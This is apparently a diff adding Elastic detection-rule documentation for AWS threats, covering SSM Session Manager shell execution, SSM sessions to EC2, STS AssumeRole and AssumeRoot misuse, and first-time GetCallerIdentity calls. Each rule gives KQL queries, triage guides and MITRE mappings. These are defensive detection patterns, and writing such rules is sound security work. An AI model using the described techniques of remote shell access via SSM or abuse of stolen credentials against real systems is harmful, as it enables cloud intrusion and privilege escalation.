Execution + +Identifies process start events where the parent process is the AWS Systems Manager (SSM) Session Manager worker. Session Manager provides interactive shell access to EC2 instances and hybrid nodes without bastion hosts or open inbound ports. Adversaries abuse it for remote execution and lateral movement using legitimate AWS credentials and IAM permissions. This rule surfaces endpoint execution occurring under that worker for visibility and hunting. Expect noise from authorized administrative sessions. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.process* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mitiga.io/blog/abusing-the-amazon-web-services-ssm-agent-as-a-remote-access-trojan +* https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ +* https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager.html + +*Tags*: + +* Domain: Endpoint +* Domain: Cloud +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SSM Session Manager Child Process Execution* + + +AWS Systems Manager Session Manager starts a session worker process on the endpoint; commands and shells you run in the +session appear as child processes of that worker. The same mechanism is used for authorized administration and for +adversary activity when IAM credentials or instance roles allow `ssm:StartSession` (or related) abuse. + + +*Possible investigation steps* + + +- Confirm whether the host is an EC2 instance or managed node that legitimately uses Session Manager. +- Review `process.command_line`, `process.executable`, `process.user.name`, and `user.name` for the child process to + judge intent (reconnaissance, download, credential access, persistence, etc.). +- Correlate timing with AWS CloudTrail for `StartSession`, `ResumeSession`, or related SSM API calls and the IAM + principal that initiated the session. +- Pivot on the same `host.id` or instance identifier for other alerts or SSM activity in the same window. + + +*False positive analysis* + + +- Routine interactive or automated administration via Session Manager is expected to match this rule by design. +- Prefer exclusions tied to stable attributes (approved IAM roles, automation service accounts, known script paths) + rather than broad process-name allowlists unless validated. + + +*Response and remediation* + + +- If activity is unauthorized: revoke or rotate exposed IAM credentials, review SSM and VPC endpoints policies, and + terminate suspicious sessions from the AWS console or API. +- Isolate the instance if compromise is suspected and perform endpoint forensics following your incident response + playbook. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category: "process" and event.action : ("exec" or "exec_event" or "start" or "ProcessRollup2" or "executed" or "process_started") and +( + process.parent.name:("ssm-session-worker.exe" or "ssm-session-worker" or "ssm-document-worker.exe" or "ssm-document-worker") or + (process.name : "powershell.exe" and process.args : *awsrunPowerShellScript*) or + (process.name : ("dash" or "sh" or "bash") and process.args : *awsrunShellScript*) or + (process.parent.name : "powershell.exe" and process.parent.args : *awsrunPowerShellScript*) or + (process.parent.name : ("dash" or "sh" or "bash") and process.parent.args : *awsrunShellScript*) + ) and + not (process.name : "powershell.exe" and process.args :("$str.Substring($str.length" or *Convert-GuidToCompressedGuid* or get-wmiobject* or $wmi_proc* or *win32_quickfixengineering* or Get-wmiobject* or *Get-Service* or *Get-WmiObject* or *System32\\ntoskrnl.exe* or *GET-WMIOBJECT*)) and + not process.executable : ("/usr/bin/lscpu" or "/usr/bin/snap" or "/usr/bin/rpm" or "/usr/bin/dpkg-query" or /snap/snapd/*/usr/bin/snap or "/usr/bin/id" or "C:\\Program Files\\Amazon\\SSM\\Plugins\\SessionManagerShell\\winpty-agent.exe" or /var/lib/amazon/ssm/update/amazon-ssm-agent-updater/*/updater or C\:\\ProgramData\\Amazon\\SSM\\Update\\amazon-ssm-agent-updater\\*\\updater.exe) and + not (process.name : (dash or bash or sh or _script.sh) and process.args : /var/lib/amazon/ssm/*/document/orchestration/*/_script.sh) and + process.command_line :(* and not (*ssm-user or */invokeInspectorSsmPluginLinux/_script.sh or */checkExclusionPreference/_script.sh or *\\createUpdateFolder\\_script.ps1 or */checkProvisioningEligibility/_script.sh or */install/_script.sh or */uninstall/_script.sh)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-session-started-to-ec2-instance.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-session-started-to-ec2-instance.asciidoc new file mode 100644 index 0000000000..b4d12bcec1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-session-started-to-ec2-instance.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-aws-ssm-session-started-to-ec2-instance]] +=== AWS SSM Session Started to EC2 Instance + +Identifies the first occurrence of an AWS user or role establishing a session via SSM to an EC2 instance. Adversaries may use AWS Session Manager to establish a session to an EC2 instance to execute commands on the instance. This can be used to gain access to the instance and perform actions such as privilege escalation. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_StartSession.html +* https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc +* https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SSM +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 +* Service: AWS SSM + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SSM Session Started to EC2 Instance* + + +This rule detects the first instance of an AWS user or role initiating an SSM session to an EC2 instance, which could be indicative of legitimate administrative activities or potential malicious actions like command execution or lateral movement. + + +*Possible Investigation Steps* + + +- **Examine the Session Start Event**: Review the AWS CloudTrail log for the event. + - Determine the target EC2 instance using `aws.cloudtrail.request_parameters`. +- **Verify User Identity and Role**: Check the user’s ARN and access key ID (`aws.cloudtrail.user_identity.access_key_id`). + - Determine if their role typically requires initiating SSM sessions. +- **Assess Geographic and IP Context**: Analyze the source IP (`source.ip`) and geographic location (`source.geo`) from which the session was initiated. + - Determine if these are consistent with typical user locations or if they raise suspicions of compromise or misuse. +- **Review Session Details**: Examine details like the session ID and stream URL (`aws.cloudtrail.response_elements`) to understand the scope and nature of the session. + - Check if any commands executed during the session were unauthorized or out of ordinary practices. +- **Correlate with Other Security Events**: Look for other related security events around the time of the session start to identify any pattern or broader attack vector that may involve this user or EC2 instance. + + +*False Positive Analysis* + + +- **Legitimate Administrative Activities**: Confirm whether the SSM session was initiated for valid administrative purposes such as system maintenance, patching, or configuration updates. Verify with the respective teams or personnel. + + +*Response and Remediation* + + +- **Incident Response Activation**: If malicious intent or actions are confirmed, activate the incident response protocol. + - This includes containment of the threat, eradication of the adversary’s presence, recovery of affected systems, and a thorough investigation. +- **Validate and Reinforce Security Policies**: Ensure that policies around SSM session initiation are strict and adhere to the principle of least privilege. + - Update IAM policies if necessary to tighten controls. +- **Enhance Monitoring and Alerts**: Improve monitoring of SSM sessions, particularly focusing on sessions that involve sensitive or critical EC2 instances. + - Adjust alerting mechanisms to flag unusual session initiations promptly. + + +*Additional Information* + + +For more in-depth understanding of managing SSM sessions and security best practices, refer to the https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_StartSession.html[AWS Systems Manager documentation]. Additionally, consider the security implications and best practices outlined in https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc[AWS SSM privilege escalation techniques]. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"aws.cloudtrail" and event.provider:"ssm.amazonaws.com" + and event.action:"StartSession" and event.outcome:"success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Cloud Services +** ID: T1021.007 +** Reference URL: https://attack.mitre.org/techniques/T1021/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-assumerole-with-new-mfa-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-assumerole-with-new-mfa-device.asciidoc new file mode 100644 index 0000000000..5f1ef71b3f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-assumerole-with-new-mfa-device.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-aws-sts-assumerole-with-new-mfa-device]] +=== AWS STS AssumeRole with New MFA Device + +Identifies when a user has assumed a role using a new MFA device. Users can assume a role to obtain temporary credentials and access AWS resources using the AssumeRole API of AWS Security Token Service (STS). While a new MFA device is not always indicative of malicious behavior it should be verified as adversaries can use this technique for persistence and privilege escalation. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html +* https://github.com/RhinoSecurityLabs/cloudgoat/blob/d5863b80afd082d853f2e8df1955c6393695a4da/scenarios/iam_privesc_by_key_rotation/README.md + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS STS + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS AssumeRole with New MFA Device* + + +AWS Security Token Service (STS) allows users to assume roles and gain temporary credentials for accessing AWS resources. This process can involve Multi-Factor Authentication (MFA) for enhanced security. However, adversaries may exploit new MFA devices to maintain persistence or escalate privileges. The detection rule identifies successful role assumptions with new MFA devices, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the event details in AWS CloudTrail to identify the user who assumed the role, focusing on the `user.id` or `aws.cloudtrail.user_identity.arn` field to determine if the user is legitimate and authorized to use the new MFA device. +- Check the serialNumber in `aws.cloudtrail.request_parameters` to verify the registration and legitimacy of the new MFA device associated with the role assumption. +- Investigate the context of the AssumeRole action by examining surrounding events to understand if it was part of a legitimate workflow or an unusual activity. +- Cross-reference with any recent changes in user permissions or MFA device registrations. +- Correlate the event with other logs or alerts to identify any patterns of suspicious behavior, such as multiple role assumptions or changes in MFA devices within a short timeframe. +- Contact the user or relevant team to confirm if the new MFA device registration and role assumption were expected and authorized. + + +*False positive analysis* + + +- New employee onboarding processes may trigger this rule when new MFA devices are issued. To manage this, create exceptions for known onboarding activities by correlating with HR records or onboarding schedules. +- Routine device replacements or upgrades can result in new MFA devices being registered. Implement a process to track and verify device changes through IT support tickets or asset management systems. +- Users with multiple roles or responsibilities might frequently switch roles using different MFA devices. Establish a baseline of normal behavior for these users and create exceptions for their typical activity patterns. +- Organizational policy changes that require MFA updates can lead to multiple new MFA device registrations. Coordinate with security teams to whitelist these events during policy rollout periods. +- Temporary contractors or third-party vendors may use new MFA devices when accessing AWS resources. Ensure that their access is logged and reviewed, and create temporary exceptions for their known access periods. + + +*Response and remediation* + + +- Immediately revoke the temporary credentials associated with the assumed role to prevent unauthorized access to AWS resources. +- Verify the legitimacy of the new MFA device by contacting the user or administrator associated with the role assumption. Confirm whether the device was intentionally registered and used. +- If the new MFA device is determined to be unauthorized, disable or remove it from the user's account to prevent further misuse. +- Conduct a review of recent AWS CloudTrail logs to identify any suspicious activities or patterns associated with the user or role in question, focusing on privilege escalation or lateral movement attempts. +- Escalate the incident to the security operations team for further investigation and to determine if additional containment measures are necessary. +- Implement additional monitoring and alerting for unusual MFA device registrations and role assumptions to enhance detection of similar threats in the future. +- Review and update IAM policies and MFA device management procedures to ensure they align with best practices for security and access control. + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail + and event.provider:sts.amazonaws.com + and event.action:(AssumeRole or AssumeRoleWithSAML or AssumeRoleWithWebIdentity) + and event.outcome:success + and aws.cloudtrail.flattened.request_parameters.serialNumber:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc new file mode 100644 index 0000000000..d7a8d6f138 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc @@ -0,0 +1,236 @@ +[[prebuilt-rule-8-19-34-aws-sts-assumeroot-by-rare-user-and-member-account]] +=== AWS STS AssumeRoot by Rare User and Member Account + +Identifies when the STS AssumeRoot action is performed by a rare user in AWS. The AssumeRoot action allows users to assume the root member account role, granting elevated but specific permissions based on the task policy specified. Adversaries who have compromised user credentials can use this technique to escalate privileges and gain unauthorized access to AWS resources. This is a New Terms rule that identifies when the STS AssumeRoot action is performed by a user that rarely assumes this role against a specific member account. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoot.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS STS + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS AssumeRoot by Rare User and Member Account* + + +AWS STS `AssumeRoot` issues temporary credentials that grant elevated access into a member account, constrained by the +task policy and target policy attached to the request. In normal operations, only a small set of platform, security, or +automation roles should ever need to perform `AssumeRoot`, and typically only against a predictable set of member +accounts. + +This rule is a New Terms rule that detects when a previously unseen combination of calling principal (`aws.cloudtrail.user_identity.arn`) and target member account (`aws.cloudtrail.resources.account_id`) successfully invokes `AssumeRoot`. Activity that matches this pattern may indicate privilege escalation, lateral movement into a new account, abuse of cross-account access paths, or misuse of administrative workflows. + + +*Possible investigation steps* + + +- **Identify the actor and target context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine: + - Whether the caller is an IAM user, federated user, or role. + - Whether this identity is normally used for organization-level administration or automation. + - Inspect `aws.cloudtrail.resources.account_id` and `aws.cloudtrail.recipient_account_id` to identify the affected member account. + - Check `source.address`, `source.geo.*`, and `user_agent.original` to understand where and how the call was made (console, CLI, SDK, automation runner, VPN, corporate IP, etc.). + +- **Understand session, policy, and target details** + - Examine `aws.cloudtrail.request_parameters` for: + - `taskPolicyArn` – which predefined task policy was requested and what category of operations it enables (e.g., investigation, remediation, read-only, or broad admin). + - `targetPrincipal` and/or related target fields – which member account principal is being accessed. + - Any duration or configuration parameters (such as `durationSeconds`) that indicate unusually long-lived sessions. + - In `aws.cloudtrail.response_elements`, review: + - `credentials.accessKeyId` and `credentials.expiration` to confirm that credentials were successfully issued and how long they are valid. + - Any additional response fields that indicate session constraints or failures (if present). + +- **Correlate follow-on activity from the assumed root session** + - Use the temporary access key from `aws.cloudtrail.response_elements.credentials.accessKeyId` to pivot in CloudTrail: + - Search for subsequent events where `aws.cloudtrail.user_identity.access_key_id` matches that key. + - Look for high-impact actions such as: + - IAM changes (`iam:CreateUser`, `iam:AttachRolePolicy`, `iam:PutRolePolicy`, `iam:UpdateAssumeRolePolicy`). + - Guardrail changes (CloudTrail, Security Hub, Config, GuardDuty configuration or detector changes). + - Data-impacting actions (S3 bucket policy changes, RDS/RDS snapshot operations, EFS/RDS delete, secrets reads). + - Correlate with any prior events for the calling identity: + - STS calls that created the session used to invoke `AssumeRoot` (e.g., `AssumeRole`, SSO/identity provider activity). + - Recent IAM policy updates that broadened its ability to perform cross-account administration. + +- **Assess timing and operational alignment** + - Use `@timestamp`, `cloud.region`, and your change calendar to determine: + - Whether the event occurred during a documented maintenance window or deployment. + - Whether the region and account align with the caller’s normal operational scope. + - Compare with other events in the same time window: + - Organization-level changes, new account creation, or migration work. + - Other sensitive operations from the same `source.ip` or principal. + +- **Validate with owners** + - Confirm with: + - Cloud/infra platform teams that normally operate organization-level admin roles. + - Security/IR teams if they were running an investigation workflow that legitimately uses `AssumeRoot`. + - Check whether the use of `AssumeRoot` is documented in CI/CD or automation designs that might have just expanded to this account, explaining the New Terms trigger. + + +*False positive analysis* + + +- **Legitimate administrative cross-account access** + - Platform, security, or central operations teams may use `AssumeRoot` as part of sanctioned workflows for: + - New account onboarding. + - Centralized remediation or investigation. + - Complex deployment or migration tasks. + - If this is the first time a specific engineer or automation role is onboarded to a given member account, the rule will fire once because it is a New Terms rule. Validate and, if appropriate, document this as expected behavior. + +- **Automation and scheduled workflows** + - CI/CD pipelines, organization-wide maintenance jobs, or incident response automation may use `AssumeRoot`: + - Identify automation roles and service principals that legitimately call `AssumeRoot`. + - Tune with rule exceptions based on `aws.cloudtrail.user_identity.arn`, `user_agent.original`, or specific `taskPolicyArn` values used only by trusted workflows. + +If a pattern emerges where specific roles regularly and legitimately assume root into a consistent set of accounts, consider documenting those identities and, if appropriate, creating narrow exceptions — while preserving coverage for new, unexpected combinations. + + +*Response and remediation* + + +- **Contain potentially unauthorized sessions** + - If the activity appears suspicious or unapproved: + - Invalidate the credentials issued by `AssumeRoot` (where supported) or constrain their impact by immediately tightening IAM, SCPs, or network controls in the affected member account. + - Rotate or revoke long-lived access keys associated with the calling principal. + - Temporarily restrict permissions on roles allowed to call `AssumeRoot` until the investigation is complete. + +- **Investigate scope and impact** + - Using CloudTrail: + - Enumerate all actions performed with the `AssumeRoot` session access key and identify: + - Privilege changes (IAM users, roles, policies, permission boundaries, SCPs). + - Changes to logging and security controls (CloudTrail, GuardDuty, Security Hub, Config, firewall/WAF rules). + - Data-impacting operations on high-value services (S3, RDS, DynamoDB, Secrets Manager, KMS). + - Check if similar `AssumeRoot` activity has occurred recently from the same `source.ip`, principal, or member account. + - Engage application, data, and platform owners for the impacted account(s) to: + - Assess potential data exposure, integrity issues, or downtime. + - Determine whether any actions conflict with intended change plans. + +- **Hardening and preventive controls** + - Restrict and monitor `AssumeRoot` usage: + - Limit which IAM roles and identities can call `sts:AssumeRoot`, using IAM conditions (e.g., `aws:PrincipalArn`, `aws:PrincipalOrgID`, `aws:RequestedRegion`). + - Where possible, require strong authentication on the initiating principal (MFA, federated SSO, device posture). + - Add guardrails and observability: + - Use AWS Config, Security Hub, and/or AWS Organizations SCPs to: + - Detect or constrain highly privileged cross-account actions. + - Ensure logging and monitoring services cannot be disabled or modified by assumed sessions without additional friction. + - Ensure `AssumeRoot` activity is included in your SIEM dashboards and investigation playbooks. + +- **Post-incident improvements** + - If activity is confirmed malicious or unsafe: + - Rotate credentials for all involved principals and review recent STS session usage for anomalies. + - Update internal runbooks to clearly define when `AssumeRoot` is allowed, who can perform it, and how it should be documented. + - Refine this rule’s exceptions or tagging strategy so that legitimate, recurring workflows are well-understood, while preserving high-fidelity visibility into new or unexpected `AssumeRoot` behavior. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "AssumeRoot" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Temporary Elevated Cloud Access +** ID: T1548.005 +** Reference URL: https://attack.mitre.org/techniques/T1548/005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-getcalleridentity-api-called-for-the-first-time.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-getcalleridentity-api-called-for-the-first-time.asciidoc new file mode 100644 index 0000000000..17e7ed8277 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-getcalleridentity-api-called-for-the-first-time.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-aws-sts-getcalleridentity-api-called-for-the-first-time]] +=== AWS STS GetCallerIdentity API Called for the First Time + +An adversary with access to a set of compromised credentials may attempt to verify that the credentials are valid and determine what account they are using. This rule looks for the first time an identity has called the STS GetCallerIdentity API, which may be an indicator of compromised credentials. A legitimate user would not need to perform this operation as they should know the account they are using. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_GetCallerIdentity.html +* https://www.secureworks.com/research/detecting-the-use-of-stolen-aws-lambda-credentials +* https://detectioninthe.cloud/ttps/discovery/sts_get_caller_identity + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS STS +* Tactic: Discovery +* Rule Type: New Terms +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS GetCallerIdentity API Called for the First Time* + + +AWS Security Token Service (AWS STS) is a service that enables you to request temporary, limited-privilege credentials for users. +The `GetCallerIdentity` API returns details about the IAM user or role owning the credentials used to perform the operation. +No permissions are required to run this operation and the same information is returned even when access is denied. +This rule looks for use of the `GetCallerIdentity` API, excluding the `AssumedRole` identity type as use of `GetCallerIdentity` after assuming a role is common practice. This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule indicating the first time a specific user identity has performed this operation. + + +*Possible investigation steps* + + +- Identify the account and its role in the environment. +- Identify the applications or users that should use this account. +- Investigate other alerts associated with the account during the past 48 hours. +- Investigate abnormal values in the `user_agent.original` field by comparing them with the intended and authorized usage and historical data. Suspicious user agent values include non-SDK, AWS CLI, custom user agents, etc. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences involving other users. +- Contact the account owner and confirm whether they are aware of this activity. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the calling user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? +- Review IAM permission policies for the user identity. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- False positives may occur due to the intended usage of the service. Tuning is needed in order to have higher confidence. Consider adding exceptions — preferably with a combination of user agent and IP address conditions. +- Automation workflows that rely on the results from this API request may also generate false-positives. We recommend adding exceptions related to the `user.id` or `aws.cloudtrail.user_identity.arn` values to ignore these. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Rotate secrets or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "GetCallerIdentity" + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AssumedRole" + and not user_agent.original: (*Terraform* 